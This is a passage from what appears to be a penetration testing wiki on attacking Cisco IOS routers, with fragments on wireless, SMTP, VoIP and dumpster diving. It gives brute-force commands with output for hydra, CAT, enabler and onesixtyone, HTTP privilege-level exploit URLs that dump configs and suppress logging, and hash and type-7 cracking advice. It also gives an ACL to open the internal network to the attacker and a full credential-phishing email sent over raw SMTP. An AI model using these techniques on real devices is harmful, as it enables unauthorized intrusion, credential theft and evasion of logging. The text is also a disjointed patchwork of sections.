WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
--->
- All scans done. Cisco Torch Mass Scanner -
---> Exiting.

nmap version scan.
Once open ports have been identified, version scanning should be performed against them. In this example, TCP ports 23 and 80 were found to be open.
nmap -sV -O -v -p 23,80 <IP> -oN TCP.version.txt

This should also be performed for open UDP ports, especially the SNMP UDP ports 161 and 162.
nmap -sV -O -v -p 161,162 <IP> -oN UDP.version.txt

Password Guessing.

CAT (Cisco Auditing Tool)
This tool extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.

./CAT -h <IP> -a password.wordlist

BT cisco-auditing-tool-v.1.0 # CAT -h 10.1.1.175 -a /tmp/dict.txt
Cisco Auditing Tool - g0ne [null0]
Checking Host: 10.1.1.175

Guessing passwords:
Invalid Password: 1234
Invalid Password: 2read
Invalid Password: 4changes
Password Found: telnet
Invalid Password: CISCO
Invalid Password: IBM

brute-enabler is an internal enable password guesser. You require valid non-privilege mode credentials to use this tool, they can be either SSH or Telnet.

./enabler <IP> [-u username] -p password /password.wordlist [port]

BT brute-enable-v.1.0.2 # ./enabler 10.1.1.175 telnet /tmp/dict.txt

[`] enabler.
[`] cisco internal bruteforcer. concept by anyone
[`] coded by norby
[`]
[`] only password needed. sending [telnet]
[`] seems we are logged in :)
[`] telnet... wrong password
[`] CISCO... wrong password
[`] IBM... wrong password
[`] OrigEquipMfr... wrong password
[`] Cisco... wrong password
[`] agent... wrong password
[`] all... wrong password
[`] possible password found: cisco

hydra
hydra is a multi-functional password guessing tool. It can connect and pass guessed credentials for many protocols and services, including Cisco Telnet which may only require a password.

Make sure that you limit the threads to 4 (-t 4) as it will just overload the Telnet server!

BT tmp # hydra -l "" -P password.wordlist -t 4 <IP> cisco
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-02-26 10:54:10
[DATA] 4 tasks, 1 servers, 59 login tries (l:1/p:59), ~14 tries per task
[DATA] attacking service cisco on port 23
Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21673 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21670 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21673 was disconnected - exiting
Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21672 terminating, can not connect
Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21707 was disconnected - retrying (1 of 1 retries)
Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)
[STATUS] attack finished for 10.1.1.175 (waiting for childs to finish)
[23][cisco] host: 10.1.1.175 login: password: telnet
Hydra (http://www.thc.org) finished at 2007-02-26 10:54:23

CAT (Cisco Auditing Tool)
This tool extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.

./CAT -h <IP> -w SNMP.wordlist

BT cisco-auditing-tool-v.1.0 # CAT -h 10.1.1.175 -w /tmp/snmp.txt
Cisco Auditing Tool - g0ne [null0]

Checking Host: 10.1.1.175
Guessing passwords:
Invalid Password: cisco
Invalid Password: ciscos
Invalid Password: cisco1

Guessing Community Names:
Invalid Community Name: CISCO
Invalid Community Name: IBM
Invalid Community Name: OrigEquipMfr
Community Name Found: Cisco
Invalid Community Name: SNMP

onesixtyone is a reliable SNMP community string guesser. Once it identifies the correct community string, it will display accurate fingerprinting information.

onesixytone -c SNMP.wordlist <IP>

BT onesixtyone-0.3.2 # onesixtyone -c dict.txt 10.1.1.175
Scanning 1 hosts, 64 communities
10.1.1.175 [enable] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug
10.1.1.175 [Cisco] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug

snmpwalk
snmpwalk is part of the SNMP toolkit. After a valid community string is identified, you should use snmpwalk to 'walk' the SNMP Management Information Base (MIB) for further information. Ensure that you get the correct version of SNMP protocol in use or it will not work correctly. It may be a good idea to redirect the output to a text file for easier viewing as the tool outputs a large amount of text.

snmapwalk -v <Version> -c <Community string> <IP>

BT# snmpwalk -v 1 -c enable 10.1.1.1
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Fri 12-Aug
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.185
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (363099) 1:00:30.99
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: router
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 78
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00
IF-MIB::ifNumber.0 = INTEGER: 4

The telnet service on Cisco devices can authenticate users based upon a password in the config file or against a RADIUS or TACACS server.

If the device is simply using a VTY configuration for Telnet access, then it is likely that only a password is required to log on.

If the device is passing authentication details to a RADIUS or TACACS server, then a combination of username and password will be required.

telnet <IP>

VTY configuration:

BT / # telnet 10.1.1.175
Trying 10.1.1.175...
Connected to 10.1.1.175.
Escape character is '^]'.

User Access Verification

Password:
router>

External authentication server:

BT / # telnet 10.1.1.175
Trying 10.1.1.175...
Connected to 10.1.1.175.
Escape character is '^]'.

User Access Verification
Username: admin
Password:
router>

HTTP/HTTPS

Web based access can be achieved via a simple web browser, as long as the HTTP adminstration service is active on the target device.

This uses a combination of username and password to authenticate. After browsing to the target device, an "Authentication Required" box will pop up with text similar to the following:

Authentication Required
Enter username and password for "level_15_access" at http://10.1.1.1
User Name:
Password:

Once logged in, you have non-privileged mode access and can even configure the router through a command interpreter.

Cisco Systems
Accessing Cisco 2610 "router"

Show diagnostic log - display the diagnostic log.
Monitor the router - HTML access to the command line interface at level 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

Show tech-support - display information commonly needed by tech support.
Extended Ping - Send extended ping commands.

VPN Device Manager (VDM) - Configure and monitor Virtual Private Networks (VPNs) through the web interface.

Trivial File Transfer Protocol is used to back up the config files of the router. Should an attacker discover the enable password or RW SNMP community string, the config files are easy to retrieve.

"Cain & Abel" (www.oxid.it) has a CCDU tab, Cisco Configuration Download/Upload. With this tools, along with the RW community string and the version of SNMP in use, the running-config file is downloaded to your local system.

ios-w3-vuln exploits the HTTP Access Bug to 'fetch' the running-config to your local TFTP server. Both of these tools require the config files to be saved with default names.

There are ways of extracting the config files directy from the router even if the names have changed, however you are really limited by the speed of the TFTP server to dictionary based attacks. Cisco-torch is one of the tools that will do this. It will attempt to retrieve config files listed in the brutefile.txt file.

BT cisco-torch-0.4b # cisco-torch.pl
Using config file torch.conf...
Loading include and plugin ...
version
usage: ./cisco-torch.pl <options> <IP,hostname,network>

or: ./cisco-torch.pl <options> -F <hostlist>

Available options:
-O <output file>
-A All fingerprint scan types combined
-t Cisco Telnetd scan
-s Cisco SSHd scan
-u Cisco SNMP scan
-g Cisco config or tftp file download
-n NTP fingerprinting scan
-j TFTP fingerprinting scan
-l <type> loglevel
c critical (default)
v verbose
d debug
-w Cisco Webserver scan
-z Cisco IOS HTTP Authorization Vulnerability Scan
-c Cisco Webserver with SSL support scan
-b Password dictionary attack (use with -s, -u, -c, -w , -j or -t only)
-V Print tool version and exit
examples: ./cisco-torch.pl -A 10.10.0.0/16
./cisco-torch.pl -s -b -F sshtocheck.txt
./cisco-torch.pl -w -z 10.10.0.0/16
./cisco-torch.pl -j -b -g -F tftptocheck.txt

Common Vulnerabilities and Exploits (CVE) Information

Vulnerabilties and exploit information relating to these products can be found here:
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=cisco+IOS

Cisco Global Exploiter (CGE)
CGE is an attempt to combine all of the Cisco attacks into one tool.

perl cge.pl <target> <vulnerability number>

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability

HTTP Arbitrary Access vulnerability
A common security flaw (of its time!) was/is the HTTP Arbitrary Access vulnerability. This flaw allowed an external attacker to execute router commands via the web interface. Cisco devices have a number of privilege levels, these levels start at 0 (User EXEC) and go up to 100, although mostly only the first 15 are used. Level 15 is Privileged EXEC mode, the same as enable mode.

By referring to these levels within the URL of the target device, an attacker could pass commands to the router and have them execute in Privilege EXEC mode.

Web browse to the Cisco device: http://<IP>

Click cancel to the logon box and enter the following address:
http://<IP>/level/99/exec/show/config

You may have to scroll through all of the levels from 16-99 for this to work.

To raise the logging level to only log emergencies:

http://<IP>/level/99/configure/logging/trap/emergencies/CR

To add a rule to allow Telnet:

http://<IP>/level/99/configure/access-list/100/permit/ip/host/<Hacker-IP>/any/CR

ios-w3-vuln
CLI tool that automatically scrolls through all available privilege levels to identify if any are vulnerable to this attack, this tool is called ios-w3-vuln (although it may have other names.) As well as identifying the vulnerable level, ios-w3-vuln will also attempt to TFTP download the running.config file to a TFTP server running locally.

./ios-w3-vul 192.168.1.1 fetch > /tmp/router.txt

Configuration Files.

Configuration Files.
The relevant configuration files that control a Cisco router have already been covered in Methodology | (5) Further your attack.

In the child to this entry is a sample running-config file from a Cisco 2600 router running IOS version 12.2.

Enable password.
The Holy Grail, the 'enable' password, the root level access to the router. There are two main methods of storing the enable password in a config file, type 5 and type 7, MD5 hashed and Viginere encryption respectively.
enable secret 5 $1$c2He$GWSkN1va8NJd2icna9TDA.

Type 7 should be avoided as it is extremely easy to crack, it can even be done by hand! They can be cracked with tools like "Cain & Abel" (www.oxid.it) and Boson's GetPass (bosondownload.com/utils/bos_getpass.exe). Even online at www.ibeast.com/content/tools/CiscoPassword/index.asp

An example Type 7 password is given below but does not exist in the example running-config file:
enable password 7 104B0718071B17

Type 5 password protection is much more secure. However, should an attacker get hold of the configuration file somehow, then the MD5 hash can be extracted and cracked offline with tools like "Cain & Abel". If you want to use "John The Ripper", then the hash should be extracted and entered into a text file as follows:
username:$1$c2He$GWSkN1va8NJd2icna9TDA.

The line that reads "enable password router", where "router" is the password, is the TTY console password which is superceeded by the enable secret password for remote access.

SNMP Settings.
If the target router is configured to use SNMP, then the SNMP community strings will be in the config file. It should have the read-only (RO) and may have the read-write (RW) strings.
snmp-server community Cisco RO
snmp-server community enable RW

Telnet Access.
If telnet is configured on the VTY (Virtual TTY) interface, then the credentials will be in the config file:
line vty 0 4
password telnet
login

!
version 12.2
service config
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname vapt-router
!
logging queue-limit 100
enable secret 5 $1$c2He$GWSkN1va8NJd2icna9TDA.
enable password router
!
memory-size iomem 10
ip subnet-zero
no ip routing
!
!
!
ip audit notify log
ip audit po max-events 100
!
!
!
!
!
!
!
!
!
!
!
!
no voice hpi capture buffer
no voice hpi capture destination
!
!
mta receive maximum-recipients 0
!
!
!
!
interface Ethernet0/0
ip address 10.1.1.175 255.255.255.0
no ip route-cache
no ip mroute-cache
half-duplex
!
interface Serial0/0
no ip address
no ip route-cache
no ip mroute-cache
shutdown
!
ip http server
no ip http secure-server
ip classless
!
!
!
!
snmp-server community Cisco RO
snmp-server community enable RW
snmp-server enable traps tty
call rsvp-sync
!
!
mgcp profile default
!
dial-peer cor custom
!
!
!
!
!
line con 0
line aux 0
line vty 0 4
password telnet
login
!
!
end

Scan & Fingerprint.

The purpose of 'Scan & Fingerprint' is to identify open ports on the target device and attempt to determine the exact IOS version. This then sets the plan for further attacks.

It Telnet is active, then password guessing attacks should be performed.
If SNMP is active, then community string guessing should be performed.

Credentials Guessing.

If a network engineer/administrator has configured just one Cisco device with a poor password, then the whole network is open to attack. Attempting to connect with various usernames/passwords is a mandatory step to testing the level of security that the device offers.

Attempt to guess Telnet, HTTP and SSH account credentials.
Once you have non-privileged access, attempt to discover the 'enable' password.
Also attempt to guess Simple Network Management Protocol (SNMP) community strings as they can lead to the config files of the router and therefore the 'enable' password!

Once you have identified the access credentials, whether that be HTTP, Telnet or SSH, then connect to the target device to identify further information.

If you have determined the 'enable' password, then full access has been achieved and you can alter the configuration files of the router.

To check for known bugs, vulnerabilities or security flaws with the device, a good security scanner can be used.

Nessus3 is pretty good for this although there are many other alternatives such as:
Retina
GFI LanGuard
Core Impact

There are also tools that check for specific flaws, such as the HTTP Arbitrary Access Bug:
ios-w3-vuln

Further your attack

To further the attack into the target network, some changes need to be made to the running-config file of the target device.

There are two main categories for configuration files with Cisco routers - running-config and startup-confg.

running-config is the currently running configuration settings. This gets loaded from the startup-config on boot. This configuration file is editable and the changes are immediate. Any changes will be lost once the router is rebooted. It is this file that requires altering to maintain a non-permenant connection through to the internal network.

startup-config is the boot up configuration file. It is this file that needs altering to maintain a permenant connection through to the internal network.

Once you have access to the config files, you will need enable (privileged mode) access for this, you can add an access list rule to allow your IP address into the internal network.

The following ACL will allow the defined <IP> access to any internal IP address.
#> access-list 100 permit ip <IP> any

So if the router is protecting a web server and an email server, this ACL will allow you to pass packets to those IP addresses on any port. Therefore you should be able to port scan them efficiently.

Wireless Penetration

Wirelessdefence.org

Wireless Vulnerabilities and Exploits (WVE)

Breaking 104 bit WEP in less than 60 seconds

Weaknesses in the Key Scheduling Algorithm of RC4

802.11b Firmware-Level Attacks

Wireless Attacks from an Intrusion Detection Perspective

Implementing a Secure Wireless Network for a Windows Environment

Wireless Assessment. The following information should ideally be obtained/enumerated when carrying out your wireless assessment. All this information is needed to give the tester, (and hence, the customer), a clear and concise picture of the network you are assessing. A brief overview of the network during a pre-site meeting weith the customer should allow you to estimate the timescales required to carry the assessment out.

Signal Coverage

Standard Antenna

Directional Antenna

Triangulate APs

Satellite Imagery

Server Specific Tests

telnet target_IP 25

helo target.com
mail from: XXXX@XXX.com
rcpt to: administrator@target.com
data
X-Sender: XXXX@XXX.com
X-Originating-IP: [192.168.1.1]
X-Originating-Email: [XXXX@XXX.com]
MIME-Version: 1.0
To: <administrator@target.com>
From: < XXXX@XXX.com >
Subject: Important! Account check required
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Dear Valued Customer,
The corporate network has recently gone through a critical update to the Active Directory, we have done this to increase security of the network against hacker attacks to protect your private information. Due to this, you are required to log onto the following website with your current credentials to ensure that your account does not expire.
Please go to the following website and log in with your account details.
<a href=http://192.168.1.108/hacme.html>www.target.com/login</a>
Online Security Manager.
Target Ltd
XXXX@XXX.com
.

Penetration - An exploit usually relates to the existence of some flaw or vulnerability in an application or operating system that if used could lead to privilege escalation or denial of service against the computer system that is being attacked. Exploits can be compiled and used manually or various engines exist that are essentially at the lowest level pre-compiled point and shoot tools. These engines do also have a number of other extra underlying features for more advanced users.

Password Attacks

Identified Passwords

Unidentified Hashes

Default Accounts

Identified Passwords

Unidentified Hashes

WIST - Web Interface for SIP Trace

Scanning and Enumeration Tools

SIP Forum Test Framework (SFTF)

Media Manipulation Tools

RTP InsertSound

./rtpinsertsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file

./rtpmixsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file

Hacking Exposed VoIP

Tool Pre-requisites

g711conversions

Common Vulnerabilities and Exploits (CVE)

Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=voip

AVM Fritz!Box 7050 allows remote attackers to cause a denial of service

HTTP server in Linksys SPA-921 VoIP Desktop Phone allows remote attackers to cause a denial of service

PhoneCtrl.exe in Linksys WIP 330 Wireless-G IP Phone 1.00.06A allows remote attackers to cause a denial of service

Polycom SoundPoint IP 301 VoIP Desktop Phone, firmware version 1.4.1.0040, allows remote attackers to cause a denial of service

Grandstream GXP-2000 VoIP Desktop Phone, firmware version 1.1.0.5, allows remote attackers to cause a denial of service

FiWin SS28S WiFi VoIP SIP/Skype Phone, firmware version 01_02_07, has a hard-coded username and password

Multiple unspecified vulnerabilities in Linksys RT31P2 VoIP router allow remote attackers to cause a denial of service

Uniden UIP1868P VoIP Telephone and Router has a default password of admin for the web-based configuration utility

Advantage Century Telecommunication (ACT) P202S IP Phone 1.01.21 running firmware 1.1.21 on VxWorks uses a hardcoded NTP which could allow remote attackers to provide false time information

ACT P202S IP Phone 1.01.21 running firmware 1.1.21 has multiple undocumented ports available, which might allow remote attackers to obtain sensitive information

MPM SIP HP-180W Wireless IP Phone WE.00.17 allows remote attackers to obtain sensitive information and possibly cause a denial of service

Clipcomm CPW-100E VoIP 802.11b Wireless Handset Phone and CP-100E VoIP 802.11b Wireless Phone allows remote attackers to gain unauthorized access

ZyXel P2000W VoIP 802.11b Wireless Phone running firmware WV.00.02 allows remote attackers to obtain sensitive information

Physical Security

Dumpster Diving
Attempt to retrieve any useful information from ToE refuse.
This may include : printed documents, books, manuals,
laptops, PDA's, USB memory devices, CD's, Floppy discs etc

Final Report - template